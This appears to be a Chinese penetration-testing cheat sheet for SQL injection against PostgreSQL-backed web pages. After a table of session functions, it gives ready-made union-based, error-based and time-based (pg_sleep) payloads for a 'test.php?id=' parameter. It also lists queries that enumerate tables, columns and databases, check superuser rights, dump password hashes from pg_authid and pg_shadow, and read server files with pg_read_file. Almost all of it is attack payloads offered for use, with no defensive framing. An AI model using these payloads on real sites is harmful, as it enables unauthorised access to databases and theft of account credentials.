今天遇到一个pg的变态站,索性做下pg总结

1.会话信息函数

名称 返回类型 描述

current_catalog name 当前数据库名(在SQL标准里叫”catalog”)

current_database() name 当前数据库名

urrent_schema[()] name 当前模式名

current_schemas(boolean) name[] 搜索路径中的模式名字,包括可选的隐式模式

current_user name 当前执行环境下的用户名

current_query() text 执行当前的文本查询,由客户端提交(可能包含多于1句)

pg_backend_pid() int 连接到当前会话的服务器进程 ID

pg_listening_channels() setof text 正在侦听的当前会话的信道名称

inet_client_addr() inet 连接的远端地址

inet_client_port() int 连接的远端端口

inet_server_addr() inet 连接的本地地址

inet_server_port() int 连接的本地端口

pg_my_temp_schema() oid 会话的临时模式的OID ,不存在则为 0

pg_is_other_temp_schema(oid) boolean 是否为另一个会话的临时模式?

pg_postmaster_start_time() timestamp with time zone 服务器启动时间

pg_conf_load_time() timestamp with time zone 配置加载时间

session_user name 会话用户名

user name 等价于current_user

version() text PostgreSQL版本信息

标黑的为常用函数.

2.注入

回显方式

test.php?id=1 order by 5–+判断字段

test.php?id=-1 union select null,null,null,null,null–+//需要判断字段类型,先用null填充

test.php?id=1 union select null,’1‘,null,null,null–+//测试类型和回显位置

test.php?id=1 union select null,version(),null,null,null–+ //查看数据库信息,其他注入语句类似

错误回显方式

test.php?id=1 and 1=(select version())::int–+

test.php?id=1  and 1=(select version() as int)–+

延时方式

test.php?id=1;select pg_sleep(10)–+

基本语句:

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘public’ limit 1 offset n;//table_schema = ‘public’排出系统表,表

SELECT column_name FROM information_schema.columns WHERE table_name =’table’ limit 1 offset n; //字段

select relname from pg_class limit 1 offset n;//获取表名

select oid from pg_class where relname=tablename;//获取oid

select attname from pg_attribute where attrelid=16402 limit 1 offset n;//获取列名

select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 1)) limit 1 offset 1; //合并前三个

获取数据库名 //pg不能跨库,只能在终端上切换(以下两个功能一样)

select datname from pg_database limit 1 offset 1;

select datname from pg_stat_database limit 1 offset 1;

判断当前用户是否为超级用户(返回值为bool)

select usesurper  from pg_user where usename=current_user;

select usesurper from pg_shadow where usename=current_user;

获取数据库帐号hash(此帐号也会在系统中建立,需usesurper权限查看)

select rolname,rolpassword from pg_authid ;

select usename,passwd from pg_shadow;

获取pg安装路径

SELECT current_setting(‘hba_file’) ;

3.系统函数

pg_logdir_ls(),pg_ls_dir(),pg_file_rename(),pg_write_file(), pg_read_file(),pg_file_length() 为内置函数,可以进行读写等操作,不过他们都被限制在pg的指定目录下,也是鸡肋

如:select  pg_read_file(‘global/pg_database’,0,10000000);

4.基本操作符

– ,/* //注释符

::   //PostgreSQL 特有的类型转换操作符

||  // 连接符

$q$text$q$    //$$  之间可以是任意内容,来代替单引号。原理看这:$q$逃逸语法